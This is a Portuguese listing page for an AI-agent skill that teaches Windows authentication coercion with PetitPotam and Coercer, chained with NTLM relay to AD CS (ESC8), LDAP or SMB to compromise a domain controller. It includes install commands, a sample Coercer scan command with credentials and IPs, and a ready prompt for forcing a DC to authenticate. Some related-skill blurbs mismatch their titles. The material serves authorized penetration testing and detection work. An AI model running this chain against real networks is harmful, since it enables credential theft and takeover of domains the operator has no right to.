coercing-authentication-with-coercer-petitpotam
Ajuda seu agente a forçar autenticação de contas. Ele usa ferramentas específicas para obter credenciais e usá-las em ataques de retransmissão contra sistemas.
O que ela faz
Essa ferramenta força computadores Windows a se conectarem a um local controlado por você. Isso pode ser usado para obter credenciais de administrador e assumir o controle de sistemas, especialmente em testes de segurança autorizados.
Quando usar
- ✓Para testar se um sistema está vulnerável a ataques de 'coerção de autenticação'.
- ✓Para obter permissões de administrador em testes de penetração autorizados.
- ✓Para verificar se as defesas contra ataques de retransmissão NTLM estão funcionando.
Exemplo do que pedir para a IA
“Force o computador 'DC01' a se conectar ao meu servidor em '10.0.0.50' usando o método PetitPotam.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta explora falhas em como o Windows lida com caminhos de rede para fazer um computador se conectar a um servidor que você controla. Em seguida, ela usa essa conexão para roubar credenciais ou obter permissões.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill coercing-authentication-with-coercer-petitpotamOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/coercing-authentication-with-coercer-petitpotam/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Coerção de Autenticação com Coercer e PetitPotam
Aviso Legal: Esta habilidade é apenas para fins de testes de segurança autorizados e educacionais. A coerção de autenticação combinada com o retransmissão NTLM pode levar à compromisso do domínio. Use apenas contra sistemas que você possui ou tem autorização explícita por escrito para testar. O uso não autorizado é ilegal.
Visão Geral
Muitas interfaces RPC do Windows expõem métodos que aceitam um caminho UNC e fazem com que o servidor receptor se autentique nesse caminho usando sua conta de máquina. Um atacante que pode alcançar essas interfaces pode forçar um alvo (comumente um Controlador de Domínio) a se autenticar em um host controlado pelo atacante. Por si só, isso é "Autenticação Forçada"; combinado com uma retransmissão NTLM, a credencial de máquina coagida é retransmitida para um serviço que não impõe assinatura/EPA, mais famoso o Registro Web do AD CS (ESC8), resultando em um certificado para o Controlador de Domínio e, finalmente, compromisso do domínio.
PetitPotam (Gilles Lionel / topotam) abusa dos métodos MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv. Coercer (p0dalirius) generaliza a técnica: é uma ferramenta Python que força automaticamente um servidor Windows a se autenticar em uma máquina arbitrária através de 12 métodos que abrangem vários protocolos — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN e mais. O Coercer opera em três modos: scan (sondar quais métodos RPC são alcançáveis/coercíveis), coerce (acionar autenticação) e fuzz (pesquisar variações de caminho). Fontes: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.
Quando Usar
- Para completar uma cadeia ESC8/ESC11 forçando um DC a se autenticar em um retransmissor.
- Para acionar autenticação de máquina para retransmissão NTLM para LDAP (RBCD) ou SMB.
- Quando um alvo de retransmissão é identificado, mas nenhuma autenticação de entrada está ocorrendo naturalmente.
- Durante a engenharia de detecção para gerar telemetria de coerção para ajuste de equipe azul.
- Para validar que DCs/servidores estão corrigidos e que as mitigações de retransmissão (assinatura/EPA) se mantêm.
Pré-requisitos
- Escopo autorizado incluindo técnicas de coerção e retransmissão NTLM.
- Credenciais de domínio válidas (frequentemente de baixo privilégio); alguns métodos funcionam sem autenticação contra hosts não corrigidos.
- Um ouvinte de retransmissão (Certipy
relayou Impacketntlmrelayx) em um host alcançável. - Alcance de rede para os endpoints RPC do alvo (135 + dinâmico, 445).
- Host de ataque Linux com Python 3.8+; instale as ferramentas:
# Coercer pipx install coercer # or: sudo python3 -m pip install coercer coercer --help # PetitPotam (source) git clone https://github.com/topotam/PetitPotam # Impacket (provides ntlmrelayx, dFSCoerce etc.) pipx install impacket
Objetivos
- Identificar quais métodos de coerção RPC um alvo expõe (modo scan).
- Configurar uma retransmissão NTLM apontada para um serviço vulnerável (por exemplo, registro web do AD CS).
- Coagir a conta de máquina do alvo a se autenticar no retransmissor.
- Obter um artefato retransmitido (certificado do DC via ESC8, gravação RBCD via LDAP).
- Documentar métodos coercíveis e recomendar correções/mitigações.
Mapeamento MITRE ATT&CK
| ID | Técnica | Aplicação nesta habilidade |
|---|---|---|
| T1187 | Autenticação Forçada | Usando métodos RPC MS-EFSR/MS-RPRN/MS-DFSNM/MS-FSRVP para forçar uma conta de máquina alvo a se autenticar em um host controlado pelo atacante |
Técnicas encadeadas: T1557.001 (LLMNR/NBT-NS Poisoning e retransmissão SMB/NTLM) e T1649 (Roubar ou Forjar Certificados de Autenticação) quando retransmitidas para o AD CS.
Fluxo de Trabalho
Etapa 1: Sondar o alvo para métodos coercíveis
Use o modo de varredura do Coercer para enumerar quais métodos RPC no alvo podem ser explorados. Isso identifica o melhor vetor de coerção sem disparar um ataque completo.
coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
-t é o alvo (por exemplo, o DC), -l é o IP do ouvinte que deve receber a autenticação coagida.
Etapa 2: Configurar o retransmissor (exemplo ESC8)
Em um terminal separado, inicie o retransmissor apontado para o registro web do AD CS para que qualquer autenticação de DC retransmitida gere um certificado de DomainController.
# Certipy relay para registro web HTTP (ESC8)
…
Perguntas frequentes
O que é 'coerção de autenticação'?
É uma técnica onde um atacante força um computador a se autenticar em um servidor controlado pelo atacante, usando as credenciais do próprio computador.
O que é 'NTLM relay'?
É um ataque que intercepta e retransmite credenciais de autenticação (como NTLM) para obter acesso a outros sistemas sem saber a senha.
Isso é ilegal?
Sim, usar essa ferramenta em sistemas sem permissão explícita é ilegal. Ela só deve ser usada em testes de segurança autorizados.
Detalhes
Descrição original do autor
Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5563
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC